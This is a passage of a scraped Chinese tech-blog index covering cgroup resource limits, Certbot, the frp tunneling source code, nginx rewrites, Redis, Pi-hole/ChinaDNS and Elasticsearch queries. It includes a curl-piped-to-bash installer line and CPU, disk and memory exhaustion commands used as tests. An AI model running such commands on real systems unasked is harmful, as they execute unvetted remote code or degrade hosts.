27 17:51 notify_on_release -rw-r--r-- 1 root root 0 Oct 27 17:51 tasks CPU资源限制 在Cgroup的 CPU 下可以看到有很多分类\ntotal 0 -rw-r--r-- 1 root root 0 Oct 27 17:51 cgroup.clone_children --w--w--w- 1 root root 0 Oct 27 17:51 cgroup.event_control -rw-r--r-- 1 root root 0 Oct 27 17:51 cgroup.procs -r--r--r-- 1 root root 0 Oct 27 17:51 cpuacct.stat -rw-r--r-- 1 root root 0 Oct 27 17:51 cpuacct.usage -r--r--r-- 1 root root 0 Oct 27 17:51 cpuacct.usage_percpu -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.cfs_period_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.cfs_quota_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.rt_period_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.rt_runtime_us -rw-r--r-- 1 root root 0 Oct 27 17:51 cpu.shares -r--r--r-- 1 root root 0 Oct 27 17:51 cpu.stat -rw-r--r-- 1 root root 0 Oct 27 17:51 notify_on_release -rw-r--r-- 1 root root 0 Oct 27 17:51 tasks 这里用来进程限制的是 cpu.cfs_quota_us 这个。quota翻译过来是配额的意思。 这里的 CFS， 全称是 Completely Fair Scheduler 完全公平调度器。简单来讲，CPU的时间片，对每个进程是完全公平的。这里设置的 quota，就是对进程所分的时间片的限制。\n➜ cpuacct cat cpu.cfs_period_us 100000 ➜ cpuacct cat cpu.cfs_quota_us -1 我们查看当前的配置情况，可以看到配额限制是 -1 也就是进程可以占用100%的CPU。\n占满CPU 使用连续的hash计算来吃满CPU\n➜ ~ cat /dev/zero| md5sum ➜ ~ top 1461 root 20 0 7448 376 284 R 85.2 0.0 0:12.48 md5sum 使用TOP命令，可以看到其CPU占用是很高的。\n资源限制 得到来进程的PID1461 之后，就开始对进程进行CPU限制，在我们的自建的subsystem中/sys/fs/cgroup/cpu/foo ，\n# 把进程加入子系统控制 echo 1461 \u0026gt; cgroup.procs # 设置 CPU配额 echo 8333 \u0026gt; cpu.cfs_quota_us # 查看总时间片 cat cpu.cfs_period_us 100000 那么可以推断出，我们现在可以使用的CPU是8333/10000=8.33%，我们使用top查看资源使用情况验证：\n1461 root 20 0 7448 376 284 R 8.3 0.0 2:33.05 md5sum 可见，资源现在的CPU使用刚好是稳定在 8.3% 。\n块设备IO限制 使用Cgroup，来对块设备的IO进行占用\nIO占用 这里是用dd来进行IO资源的占用；\ndd if=/dev/zero of=./tmp bs=1k count=1024000000 oflag=sync 向当前目录写10G的文件。使用iotop查看io情况：\n10171 be/4 root 0.00 B/s 169.88 M/s 0.00 % 0.00 % dd if=/dev/ze~unt=1024000000 当前的写速度是 169MB/s，注意这里需要设置 oflag,否则会默认写入缓存，不受我们的控制组控制。\n资源限制 这里对最大的IO速度进行限制\nmkdir -p /sys/fs/cgroup/blkio/foo # 1048576字节每秒，也就是1M/s throttle 节流阀 echo \u0026#39;252:16 1024000\u0026#39; \u0026gt; blkio.throttle.write_bps_device echo \u0026#39;252:16 1024000\u0026#39; \u0026gt; blkio.throttle.read_bps_device #252:16对应主设备号和副设备号，可以通过ls -l /dev/sda查看 ls -l /dev/vdb1 brw-rw---- 1 root disk 252, 16 Aug 26 16:09 /dev/vdb echo ${PID} \u0026gt; cgroup.procs 在对控制组进行写入之后。再使用iotop看到IO用量已经被限制\n13842 be/4 root 0.00 B/s 559.14 K/s 0.00 % 26.37 % dd if=/dev/ze~000 oflag=sync 内存限制 内存占用 为了精准的空占内存，这里找来一段C，使用malloc来进行固定内存空间的分配；\n#include\u0026lt;stdio.h\u0026gt; #include\u0026lt;sys/mman.h\u0026gt; #include\u0026lt;stdlib.h\u0026gt; #include\u0026lt;unistd.h\u0026gt; //要占用100M内存，以字节为单位 const int alloc_size = 100*1024*1024; int main(){ char *mem = malloc(alloc_size); size_t i; // 等待20S之后开始 sleep(20); //获得每一个内存页的大小，一般为4K size_t page_size = getpagesize(); for(i=0;i\u0026lt;alloc_size;i+=page_size){ mem[i] = 0; } printf(\u0026#34;i = %zd\\n\u0026#34;,i); while(1){ sleep(5); } return 1; } 编译后运行，free -m -s 1持续输出内存占用情况，可见；\ntotal used free shared buff/cache available Mem: 15787 475 13040 281 2271 14931 Swap: 0 0 0 total used free shared buff/cache available Mem: 15787 575 12940 281 2271 14831 Swap: 0 0 0 可见，内存已被分配占用 100M\n资源限制 mkdir -p /sys/fs/cgroup/memory/foo #分配50MB的内存给这个控制组 50000000 echo $MEM_LIMIT \u0026gt; memory.limit_in_bytes echo ${PID} \u0026gt; tasks 进程运行，等待 20秒之后；\n[root@VM_54_221_centos /data]# ./a.out Killed 可见进程因为使用内存超过限制，最终OOM被KILL。\n后 Cgroup是LINUX内核中一个很好玩好用的属性，控制组的功能，实现了docker的对容器进行资源限制的功能。 其功能还有很多，后面在进行继续的探索。\n","date":"2019-10-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-26-cgroup-%E5%9F%BA%E6%9C%AC%E4%BD%BF%E7%94%A8/","tags":["cgroup","docker","linux"],"title":"Cgroup 基本使用"},{"categories":["op之路"],"contents":"站点使用的https是来自freessl申请的通配证书，免费?是关键。但是奈何几个月的有效期太短自己又懒得续费，所欲出找了找自动续费的方案，发现certbot是个不错的选择，而且可以自动的根据webserver的配置，来获得域名以及配置。很方便，这篇就介绍一下这个工具\n安装部署 项目的官网已经提供了很好的支持，在安装和部署的方面基本上可以实现 oneclick。https://certbot.eff.org/\n#安装源 yum -y install yum-utils yum-config-manager --enable rhui-REGION-rhel-server-extras rhui-REGION-rhel-server-optional #安装应用 sudo yum install certbot python2-certbot-nginx # 执行证书更新 sudo certbot --nginx # 设置自动更新 echo \u0026#34;0 0,12 * * * root python -c \u0026#39;import random; import time; time.sleep(random.random() * 3600)\u0026#39; \u0026amp;\u0026amp; certbot renew\u0026#34; | sudo tee -a /etc/crontab \u0026gt; /dev/null # 这里使用pyhton做了随机的延迟，避免用户都使用这条命令之后导致的请求尖峰的问题，使用shell的更优雅的写法是： echo \u0026#34;0 0,12 * * * root sleep $[$RANDOM/1024] \u0026amp;\u0026amp; certbot renew\u0026#34; | sudo tee -a /etc/crontab \u0026gt; /dev/null 注意的问题 由于使用 pyhton2 编写的工具，所以nginx的配置文件中不能存在中文。\n如果存在报错 pyOpenSSL' module missing required functionality：\nraise ImportError(\u0026#34;\u0026#39;pyOpenSSL\u0026#39; module missing required functionality. \u0026#34; ImportError: \u0026#39;pyOpenSSL\u0026#39; module missing required functionality. Try upgrading to v0.14 or newer. 尝试卸载urllib3，并且使用yum来进行重装\nyum -y install python-urllib3 后 这个配置很贴心的甚至可以做到自动的配置域名的 https的跳转，实例的配置如下：\nserver { if ($host = share.diglp.cn) { return 301 https://$host$request_uri; } # managed by Certbot if ($host = life.diglp.cn) { return 301 https://$host$request_uri; } # managed by Certbot listen 80; server_name life.diglp.cn share.diglp.cn; return 404; # managed by Certbot } 根据对应的host进行301跳转。\n","date":"2019-10-26T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-26-%E4%BD%BF%E7%94%A8certbot%E6%9D%A5%E9%83%A8%E7%BD%B2https/","tags":["nginx"],"title":"使用Certbot来部署HTTPS"},{"categories":["dev"],"contents":"有时间了去读读小项目的源代码感觉是很有意义的一件事情，就像去了解一些东西 how it works。 这里选取一个比较有有意思的项目frp，是一个蛮好玩的反向代理的工具来实现内网穿透。\n这里选取来 v0.1.0 的版本，因为功能简单以及代码量少把。\n简介 整个系统由两个部分组成，frpc，frps ，分别是客户端和服务端。先从服务端开始分析。\n服务端 函数入口 先从程序入口开始分析main()\nfunc main() { err := client.LoadConf(\u0026#34;./frpc.ini\u0026#34;) if err != nil { os.Exit(-1) } log.InitLog(client.LogWay, client.LogFile, client.LogLevel) // wait until all control goroutine exit var wait sync.WaitGroup wait.Add(len(client.ProxyClients)) for _, client := range client.ProxyClients { go ControlProcess(client, \u0026amp;wait) } log.Info(\u0026#34;Start frpc success\u0026#34;) wait.Wait() log.Warn(\u0026#34;All proxy exit!\u0026#34;) } 在 :2对对配置进行解析，处理化 client， 日志模块是直接使用的 现有的库\u0026quot;github.com/astaxie/beego/logs\u0026quot;，\n这里的一句 var wait sync.WaitGroup 来创建一个 waitGroup的对象，来使得主线程阻塞来等待并发过程。Add()，Done()，Wait() add 来添加一个计数，done来减去一个计数，wair阻塞等待。\n在这里使用 wait.Add(len(client.ProxyClients)) 根据已经按照配置的数量初始化的实例，来设置并发计数。\n对client的list进行便利，并发开启服务线程。go 这里代表并发执行， 传入 client，以及wait的引用（在返回之后，可以进行done的操作）\nfor _, client := range client.ProxyClients { go ControlProcess(client, \u0026amp;wait) } ControlProcess 正如前面说到的逻辑，传入 wait，在后面会使用 done 来进行计数减。ControlProcess的原型如下：\nfunc ControlProcess(cli *client.ProxyClient, wait *sync.WaitGroup) { defer wait.Done() 形参的类型很有意思，找到了C的感觉， 另外这里顺便给出了第一句，defer 用于在函数返回时处理资源等等问题。defer一次，相当于把后面的操作进行压栈，在return 之后，弹栈执行。\n在创建proxy 第一步是登录验证loginToServer，函数原型如下：\nfunc loginToServer(cli *client.ProxyClient) (c *conn.Conn, err error) { 传入连接实例，返回登录状态以及连接。使用 ConnectServer 进行tcp建连。构建连接请求体：\nreq := \u0026amp;msg.ClientCtlReq{ Type: consts.CtlConn, ProxyName: cli.Name, Passwd: cli.Passwd, } // 这里是 type ClientCtlReq struct { Type int64 \u0026lt;code\u0026gt;json:\u0026#34;type\u0026#34;\u0026lt;/code\u0026gt; ProxyName string \u0026lt;code\u0026gt;json:\u0026#34;proxy_name\u0026#34;\u0026lt;/code\u0026gt; Passwd string \u0026lt;code\u0026gt;json:\u0026#34;passwd\u0026#34;\u0026lt;/code\u0026gt; } 正常的使用tcp来进行的连接操作，之后使用json来对回传的包来进行解析。来饭端回包，是否登录成功。如果成功的话go startHeartBeat(c) 来进行心跳定时。心跳服务的函数如下：\nfor { time.Sleep(time.Duration(client.HeartBeatInterval) * time.Second) if c != nil \u0026amp;\u0026amp; !c.IsClosed() { err = c.Write(string(request) + \u0026#34;\\n\u0026#34;) if err != nil { log.Error(\u0026#34;Send hearbeat to server failed! Err:%v\u0026#34;, err) continue } } else { break } } 去定时的发送 request作为系统的心跳包，如果出现写socket 失败的情况，中止心跳进程，因为有 defer heartBeatTimer.Stop() 所以，定时任务也会自动的停止\n回到 control.go的第一层，会有一个 循环结构：\nfor { content, err := connection.ReadLine() 在循环体内部，先对可能出现的异常情况进行判断，最后调用代理实例的StartTunnel。\nClient 这里的 Client 就是上面的proxy 的实例，先贴出来 starttunnel 的函数内容：\nfunc (p *ProxyClient) StartTunnel(serverAddr string, serverPort int64) (err error) { localConn, err := p.GetLocalConn() if err != nil { return } remoteConn, err := p.GetRemoteConn(serverAddr, serverPort) if err != nil { return } // l means local, r means remote log.Debug(\u0026#34;Join two conns, (l[%s] r[%s]) (l[%s] r[%s])\u0026#34;, localConn.GetLocalAddr(), localConn.GetRemoteAddr(), remoteConn.GetLocalAddr(), remoteConn.GetRemoteAddr()) go conn.Join(localConn, remoteConn) return nil } 先对配置中的的端口进行连接GetLocalConn 得到 client到本机的连接。之后进行远程连接，连接之后主动发包，说明进入工作状态：\nreq := \u0026amp;msg.ClientCtlReq{ Type: consts.WorkConn, ProxyName: p.Name, Passwd: p.Passwd, } buf, _ := json.Marshal(req) err = c.Write(string(buf) + \u0026#34;\\n\u0026#34;) if err != nil { log.Error(\u0026#34;ProxyName [%s], write to server error, %v\u0026#34;, p.Name, err) return } 在得到了本地的连接实例和远程的连接实例之后，进行隧道连接也就是最核心的隧道功能了，代码如下：\n// will block until connection close func Join(c1 *Conn, c2 *Conn) { var wait sync.WaitGroup pipe := func(to *Conn, from *Conn) { defer to.Close() defer from.Close() defer wait.Done() var err error _, err = io.Copy(to.TcpConn, from.TcpConn) if err != nil { log.Warn(\u0026#34;join conns error, %v\u0026#34;, err) } } wait.Add(2) go pipe(c1, c2) go pipe(c2, c1) wait.Wait() return } 这里是使用了 wait，所以在两个 go 并发建立连接之后函数线程会发生阻塞。使用 io.copy 来对两个链接的内容进行正反的两次拷贝，实现连接的穿透。\n可以直接使用 IO copy是我没有想到的，所以得去看看 Go 的 net.TCPConn 到底是什么东西。 在官网的手册上找到io.Copy 的原型：\n//Copy copies from src to dst until either EOF is reached on src or an error occurs. func Copy(dst Writer, src Reader) (written int64, err error) 所以这里的copy负责不断的进行连接之间的数据拷贝，直到收到 EOF\n至此客户端的部分的源码分析完毕。\n服务端 有了客户端的前提上，服务端就一样的清楚了。程序入口：\nfunc main() { err := server.LoadConf(\u0026#34;./frps.ini\u0026#34;) if err != nil { os.Exit(-1) } log.InitLog(server.LogWay, server.LogFile, server.LogLevel) l, err := conn.Listen(server.BindAddr, server.BindPort) if err != nil { log.Error(\u0026#34;Create listener error, %v\u0026#34;, err) os.Exit(-1) } log.Info(\u0026#34;Start frps success\u0026#34;) ProcessControlConn(l) } 在这里进行tcp的端口监听，Listen：\ngo func() { for { conn, err := l.l.AcceptTCP() if err != nil { if l.closeFlag { return } continue } c := \u0026amp;Conn{ TcpConn: conn, closeFlag: false, } c.Reader = bufio.NewReader(c.TcpConn) l.conns \u0026lt;- c } }() 以为只是一个监听的函数太在意，发现这里是建连的核心函数。在这里启动了一个并发，使用for循环来get到这个端口的tcp建连，并且创建连接实例使用 l.conns \u0026lt;- c 来把新建立的连接放在 channel内。\n之后进入ProcessControlConn，其处理循环如下：\nfunc ProcessControlConn(l *conn.Listener) { for { c, err := l.GetConn() if err != nil { return } log.Debug(\u0026#34;Get one new conn, %v\u0026#34;, c.GetRemoteAddr()) go controlWorker(c) } } func (l *Listener) GetConn() (conn *Conn, err error) { var ok bool conn, ok = \u0026lt;-l.conns if !ok { return conn, fmt.Errorf(\u0026#34;channel close\u0026#34;) } return conn, nil } 这里可以看的，getConn 的操作回去从 连接的chnnel（理解为队列）去拿已经建立的连接，如果没有连接则会阻塞。得到连接之后go controlWorker(c)\n这里的worker就是和客户端建连之后的服务部分了，可能的功能有，登录，接受命令，打开端口，join连接。\nworker中先进行一次 socket的读，和前面一样对json来进行解析，结构和上文一致：\nType int64 \u0026lt;code\u0026gt;json:\u0026#34;type\u0026#34;\u0026lt;/code\u0026gt; ProxyName string \u0026lt;code\u0026gt;json:\u0026#34;proxy_name\u0026#34;\u0026lt;/code\u0026gt; Passwd string \u0026lt;code\u0026gt;json:\u0026#34;passwd\u0026#34;\u0026lt;/code\u0026gt; 之后开始进行checkProxy来根据内容来看是否连接合法，包括 [连接是否存在，秘密是否正确，帧类型]\n不知道 直接使用req.Passwd != s.Passwd 来进行密码比较会不会有漏洞\n这里重点看一下帧类型的逻辑，因为他决定来这个请求我会做什么，这里分两部分看：\nconsts.CtlConn 建连控制，在服务端打开指定端口 consts.WorkConn 报文传输 如果得到的类型是 consts.WorkConn，最终执行p.cliConnChan \u0026lt;- c 把我们此次的数据存入队列。\n如果报文对应的类型为 consts.WorkConn，先对连接状态进行判断，是否已经建连，如果没有的化执行s.Start()\nif req.Type == consts.CtlConn { if s.Status != consts.Idle { info = fmt.Sprintf(\u0026#34;ProxyName [%s], already in use\u0026#34;, req.ProxyName) log.Warn(info) return } // start proxy and listen for user conn, no block err := s.Start() if err != nil { info = fmt.Sprintf(\u0026#34;ProxyName [%s], start proxy error: %v\u0026#34;, req.ProxyName, err.Error()) log.Warn(info) return } log.Info(\u0026#34;ProxyName [%s], start proxy success\u0026#34;, req.ProxyName) } 在这个start内，最终有两个线程，一个是来捕获服务端的外部连接的，另一个是用来连接这个外部链接和来自我们的客户端连接的，这里需要进行同步操作。代码如下：\ngo func() { for { // block // if listener is closed, err returned c, err := p.listener.GetConn() if err != nil { log.Info(\u0026#34;ProxyName [%s], listener is closed\u0026#34;, p.Name) return } log.Debug(\u0026#34;ProxyName [%s], get one new user conn [%s]\u0026#34;, p.Name, c.GetRemoteAddr()) // insert into list p.Lock() if p.Status != consts.Working { log.Debug(\u0026#34;ProxyName [%s] is not working, new user conn close\u0026#34;, p.Name) c.Close() p.Unlock() return } p.userConnList.PushBack(c) p.Unlock() // put msg to control conn p.ctlMsgChan \u0026lt;- 1 // set timeout time.AfterFunc(time.Duration(UserConnTimeout)*time.Second, func() { p.Lock() defer p.Unlock() element := p.userConnList.Front() if element == nil { return } userConn := element.Value.(*conn.Conn) if userConn == c { log.Warn(\u0026#34;ProxyName [%s], user conn [%s] timeout\u0026#34;, p.Name, c.GetRemoteAddr()) } }) } }() 这一部分的代码首先收到了客户端的控制包，那么在本机（服务端）打开监听的端口，加锁之后，把连接存入 userConnList，之后对消息队列写1 p.ctlMsgChan \u0026lt;- 1 在一个超时时间，等待有没有客户端的连接回连，如果list就我自己的c连接，没有新的连接，那么说明没有新的连接加入，等待客户端超时。\n// start another goroutine for join two conns from client and user go func() { for { cliConn, ok := \u0026lt;-p.cliConnChan if !ok { return } p.Lock() element := p.userConnList.Front() var userConn *conn.Conn if element != nil { userConn = element.Value.(*conn.Conn) p.userConnList.Remove(element) } else { cliConn.Close() p.Unlock() continue } p.Unlock() // msg will transfer to another without modifying // l means local, r means remote log.Debug(\u0026#34;Join two conns, (l[%s] r[%s]) (l[%s] r[%s])\u0026#34;, cliConn.GetLocalAddr(), cliConn.GetRemoteAddr(), userConn.GetLocalAddr(), userConn.GetRemoteAddr()) go conn.Join(cliConn, userConn) } }() 这一部分代码，首先从队列得到客户端发起的连接，判断是否有外来连接，如果没有，就关闭客户端连接，并继续等待。 如果有外部连接，得到外部链接，并且从连接队列里移除该连接。最终使用go conn.Join(cliConn, userConn) 来join 外部链接和客户端的连接。完成反向代理操作。至此服务端工作流程完毕。\n总结 客户端把自己的本地连接和远程连接进行join 客户端发起两种连接请求，Ctrl 连接和 working 服务器根据 ctrl 里的控制信息对本地的端口进行监听，并且回写 1 到ctrl连接表示成功建连 服务端对listener的建连入队，之后分别对working 的连接进行join Go还蛮有意思的，但是觉得异步的过分自由化，会不会导致流程上的问题。 defer的设计和chennel 的设计还是很好用的。return 的变量在定义时就被指定，提高来规范性。\n","date":"2019-10-13T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-13-frp-v0-1-0-%E6%BA%90%E7%A0%81%E6%B5%85%E6%9E%90/","tags":["golang","sourcecode"],"title":"frp v0.1.0 源码浅析"},{"categories":["op之路"],"contents":"nginx 作为路由转发的服务器，那么关于路由的匹配规则和匹配顺序当然是是十分重要的一个部分了。这一篇帖子就针对着location的正则进行梳理。\n几种正则方式 nginx 中的 location 的基本语法如下：\nlocation [=|~|~*|^~] /uri/ { … } 匹配优先级如下：\n精确匹配 = /xxx 前缀匹配 ^～ /xxx 正则匹配 ～ /xxx 正则忽略大小写匹配 ～* /xxx 普通正则匹配 /xxx 最终匹配 / 在存在上的不同类型的同时出现的话，会按照优先等级来进行匹配。比如：\nlocation = / { empty_gif; } location ~/xxx { empty_gif; } 规则顺序 Nginx 的匹配的规则有顺序吗？如果是存在着优先级的情况下，是遵循优先级的匹配顺序的。\n但是如果有在同等优先级的情况下是根据规则的顺序来进行匹配的。比如\nlocation ～ /xxx { empty_gif; } location ~/xxx/123 { } 这样会导致 123 的块就不会被匹配到。\n另外，还有一点，location 里面的表达式是否需要 / 来结尾，在nginx 的规则里/aaa是文件 /aaa/是目录。\n根据约定，URL尾部的/表示目录，没有/表示文件。所以访问/some-dir/时，服务器会自动去该目录下找对应的默认文件。如果访问/some-dir的话，服务器会先去找some-dir文件，找不到的话会将some-dir当成目录，重定向到/some-dir/\n所以在没有 / 的时候，是作为一个文件进行匹配的，所以就进行文件的搜索，匹配/aaa 在没有文件匹配的时候，会自动的被重定向到目录的匹配即 /aaa/\n当在匹配的规则里，使用了/aaa/ 这种形式，我们请求的 /aaa 将无法被匹配。\nURL重写 首先 先回顾一下前面一看就懂的文章：\nNginx 折腾笔记（SSL配置以及路由重写）\nrewrite 后面的参数：\nlast ：表示完成rewrite，浏览器地址栏URL地址不变 break：本条规则匹配完成后，终止匹配，不再匹配后面的规则，浏览器地址栏URL地址不变 这两句怎么理解呢？看下面的的例子： 在nginx配置 proxypass的有一个很重要的配置：\nrewrite /xxx/(.*) /$1 break; 很多时候还会被写成这种形式：\nrewrite ^/(.*) /$1 break; 作用是改变proxy的url 的地址，起到了设置 basepath的作用。比如我有哥URL是 aaa:5000/asd 但是我希望使用nginx的反向代理来访问他aaa/vvv/asd。那么配置怎么写？简单？\nlocation ~ /vvv/ { proxy_pass http://aaa:5000; } 看似比较合理，但是问题来了，这样的话/vvv/asd 这一串东西都被传给了后端，于是乎后端返回了404的问题。这里就需要用到rewrite了。而且是break 这种rewrite。正如上面的介绍的，不在进行其他匹配。 所以，这个write就不会在内部或者外部产生重定向，其作用就是在内部改变 url。就加上这一句rewrite /vvv/(.*) /$1 break; 把我们的URL的前一级给拆掉。得到后面的部分在进行proxy，这样就得到了我们的真实内容。\n","date":"2019-10-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-07-nginx-%E6%AD%A3%E5%88%99%E8%BD%AC%E5%8F%91%E4%B8%93%E9%A1%B9%E5%B7%A9%E5%9B%BA/","tags":["nginx"],"title":"Nginx 正则转发专项巩固"},{"categories":["op之路"],"contents":"Redis 这个或多或少有接触一点，但是都没有做个系统的总结。 这篇就记录一下基础基础基础基础的操作。\nRedis 简介 Redis is an open source (BSD licensed), in-memory data structure store, used as a database, cache and message broker.\nredis通常被称为数据结构服务器，因为值（value）可以是 字符串(String), 哈希(Hash), 列表(list), 集合(sets) 和 有序集合(sorted sets)等类型。\n由于是内存存储，所以作为缓存，消息代理，数据结结构存储。\n基础操作 选择数据库\nselect 0 列出所有的ksy\nkeys * 查看值的类型\ntype \u0026lt;key\u0026gt; 查看键值\nget \u0026lt;key\u0026gt; 设置键值\nset \u0026lt;key\u0026gt; \u0026lt;value\u0026gt; 查看 list 内容\nLRANGE \u0026lt;key\u0026gt; \u0026lt;start\u0026gt; \u0026lt;stop\u0026gt; Skill 查看命中率\n\u0026gt; info keyspace_hits:14414110 keyspace_misses:3228654 used_memory:433264648 expired_keys:1333536 evicted_keys:1547380 计算 hit/(hit+miss)即可。\n","date":"2019-10-07T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-07-redis-%E7%AE%80%E6%98%8E%E5%85%A5%E9%97%A8/","tags":["cache","redis"],"title":"Redis 简明入门"},{"categories":null,"contents":"代理下载这个词用的可能不是那么准确，这次的问题是解决 github 的资源下载过于缓慢的问题。 思路是常规思路绕过特色的保护，使用海外的服务器来进行代理操作，比如进行文件的下载，之后再在本地进行文件的拉取。\n法一 说到代理之类的东西，果断就是想到了nginx 的这种天生的http服务器的特性。直接直接对github的下载的链接做 proxy，规则配置如下：\nlocation ^~ /gitmirror/ { #proxy_http_version 1.1; #proxy_set_header Host $host; proxy_pass https://www.github.com; rewrite ^/gitmirror/(.*)$ /$1 break; } 在应用配置之后发现自己的想法是很天真的，原因很简单，github访问链接都不是直连，都是有经过301来进行跳转 这样最终还是跳了出去，通过 直接 proxy的方法显然是不行的。\n法二 通过openapi来进行代理下载，之后再在本地进行拉取下载。使用 faas 来对接口进行调用 To be countinued\u0026hellip;\n","date":"2019-10-03T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-03-github-%E8%B5%84%E6%BA%90%E4%BB%A3%E7%90%86%E4%B8%8B%E8%BD%BD/","tags":["docker","faas"],"title":"GitHub 资源代理下载"},{"categories":["玩点什么"],"contents":"手头有了个闲下来的树梅派，于是乎就想着，能不能玩点什么。再于是乎就有了遮盖新的分类，记点简单易玩的折腾的笔记。\n这里就用树莓派来做一个家里的DNS来去广告啊，防止无良运营商的DNS污染之类的。\n名词解析：去广告的原理，把广告的域名解析到一个错误的地方，让广告加载失败。 DNS污染，运营商给你不正确的 解析的 IP，导致你访问的站点被劫持\n简介 下面是直接摘抄自官网的简介：\nThe Pi-hole® is a DNS sinkhole that protects your devices from unwanted content, without installing any client-side software. ChinaDNS automatically queries local DNS servers to resolve Chinese domains and queries foreign DNS servers to resolve foreign domains. It is smart enough to work only with a Chinese IP range file, which doesn\u0026rsquo;t change often.\n看的是这里的两个都是DNS服务， Pi-hole:是根据解析规则对DNS进行过过滤， ChinaDNS是根据最新的解析列表来对被污染的域名进行正确的解析。\n这里两个我们都可以使用到，来作为家庭的DNS服务的提供方案的同时，来实现去广告以及防止DNS污染。\n部署 由于是开源的组件，所以其安装过程都有很好的 guide，pihole 官方也是提供了 一键安装的方式。\npi-hole curl -sSL https://install.pi-hole.net | bash 安装过程一路绿灯即可，可能会出现的问题是其FTL组件的在github上的拉去出现github的网络问题的问题，通过改配置的方式来处理。\n默认监听在本机的 53 端口，通过对路由器的配置定内网的 DNS 服务器为搭建的服务的主机的IP即可。过程中没什么大坑。服务的本身提供了dashborad，作为基础的功能的展示。\nChinaDns ChinaDNS 也是github上的一个项目，配置过程也十分简单，编译之后使用 supervisor进行管理即可。\n首先直接在 pi 上来进行编译\n./configure \u0026amp;\u0026amp; make src/chinadns -m -c chnroute.txt /home/qspace/chinadns-1.3.2/chinadns -m -c chnroute.txt -p 54 在54端口跑起来服务，使用 ns来指定不同端口来进行解析测试。\nrms@rm-TP:~$ nslookup google.com 192.168.66.188 -port=54 rms@rm-TP:~$ nslookup google.com 192.168.66.188 -port=53 由于需要对封锁的列表进行更新配置cron任务：\ncrontab -e # 在里面写入内容 * 0 * * cd /home/qspace/chinadns-1.3.2 \u0026amp;\u0026amp; curl \u0026#39;http://ftp.apnic.net/apnic/stats/apnic/delegated-apnic-latest\u0026#39; | grep ipv4 | grep CN | awk -F\\| \u0026#39;{ printf(\u0026#34;%s/%d\\n\u0026#34;, $4, 32-log($5)/log(2)) }\u0026#39; \u0026gt; chnroute.txt 后 至此，部署完毕，可能心理上的页面访问速度快上了那么一点吧。\n","date":"2019-10-02T00:00:00Z","permalink":"https://blogs.12ms.xyz/posts/2019/10/2019-10-02-%E6%A0%91%E8%8E%93%E6%B4%BE%E6%90%AD%E5%BB%BA%E5%AE%B6%E5%BA%ADdnschinadns-pihole/","tags":["dns","rpi","树莓派"],"title":"树莓派搭建家庭DNS(ChinaDNS \u0026 PiHole)"},{"categories":["op之路"],"contents":"目前只是ES查询的初步入门，只是到一个会用的阶段。 前面接触的都是当一个框架进行直接的使用，现在需要了解其查询方式以及语法了，所以有该文。\n基本搜索 内容全局搜索\ncurl -H \u0026#39;Content-Type:application/json\u0026#39; -XPOST \u0026#34;http://127.0.0.1:9200/rss/_search\u0026#34; -d \u0026#39;{\u0026#34;query\u0026#34;: {\u0026#34;multi_match\u0026#34; : {\u0026#34;query\u0026#34; : \u0026#34;\u0026lt;keyword\u0026gt;\u0026#34;, \u0026#34;fuzziness\u0026#34;: \u0026#34;AUTO\u0026#34;}}}\u0026#39; 基本的按字段来进行搜索\ncurl -H \u0026#39;Content-Type:application/json\u0026#39; -XPOST \u0026#34;http://127.0.0.1:9200/rss/_search\u0026#34; -d \u0026#39;{\u0026#34;query\u0026#34; :{\u0026#34;terms\u0026#34; : {\u0026#34;feed_link\u0026#34; : [\u0026#34;php\u0026#34;,\u0026#34;java\u0026#34;]}}}\u0026#39; curl -H \u0026#39;Content-Type:application/json\u0026#39; -XPOST \u0026#34;http://127.0.0.1:9200/rss/_search\u0026#34; -d \u0026#39; {\u0026#34;size\u0026#34;:0 ,\u0026#34;query\u0026#34;: {\u0026#34;terms\u0026#34;: {\u0026#34;_id\u0026#34;: [\u0026#34;67f46d00eef39992fa78a3749b2a3bee\u0026#34;, \u0026#34;2d5f7ad88b88f530b55777c89927d245\u0026#34;]}}}\u0026#39; 磁盘空间不足导致索引只读 在清理磁盘之后解除索引只读状态，在Console执行如下命令。\nPUT _settings { \u0026#34;index\u0026#34;: { \u0026#34;blocks\u0026#34;: { \u0026#34;read_only_allow_delete\u0026#34;: \u0026#34;false\u0026#34; } } } 由于data的分区的空间使用量到95%，会自动的标记索引为只读，导致写入 403 FORBIDDEN/12/index read-only / allow delete (api)\n索引添加一个字段 es是不支持进行删改的，所以只能是增加一个新的字段，这种打补丁的方式，可能会使得索引的mapping越来越冗杂\nPUT http://host/uploadusagestats/_mapping/usagestats { \u0026#34;properties\u0026#34;:{ \u0026#34;last_time_used\u0026#34;:{\u0026#34;type\u0026#34; : \u0026#34;date\u0026#34;, \u0026#34;format\u0026#34;: \u0026#34;yyyy-MM-dd HH:mm:ss||yyyy-MM-dd||epoch_millis\u0026#34;} } } es 随机返回部分数据 从所有的查询数据中随机返回返回指定数量的数据，其中size的值约束返回的数量\n{ \u0026#34;from\u0026#34;: 0, \u0026#34;size\u0026#34;: 10, \u0026#34;query\u0026#34;: {\u0026#34;bool\u0026#34;: {\u0026#34;must\u0026#34;: {\u0026#34;term\u0026#34;: {\u0026#34;level\u0026#34;: 1}}}}, \u0026#34;sort\u0026#34;: { \u0026#34;_script\u0026#34;: { \u0026#34;script\u0026#34;: \u0026#34;Math.random()\u0026#34;, \u0026#34;type\u0026#34;: \u0026#34;number\u0026#34;, \u0026#34;order\u0026#34;: \u0026#34;asc\u0026#34; } } } 使用聚合 使用聚合来进行一类数据的统计以及运算。 关键的地方在下面的bucket_script 部分，可以进行聚合之后的桶计算。49行\nPOST /metricbeat-iops_kafka-*/_search? { \u0026#34;size\u0026#34;: 0, \u0026#34;query\u0026#34;: { \u0026#34;bool\u0026#34;: { \u0026#34;filter\u0026#34;: [ { \u0026#34;range\u0026#34;: { \u0026#34;@timestamp\u0026#34;: { \u0026#34;gte\u0026#34;: \u0026#34;1568563200000\u0026#34;, \u0026#34;lte\u0026#34;: 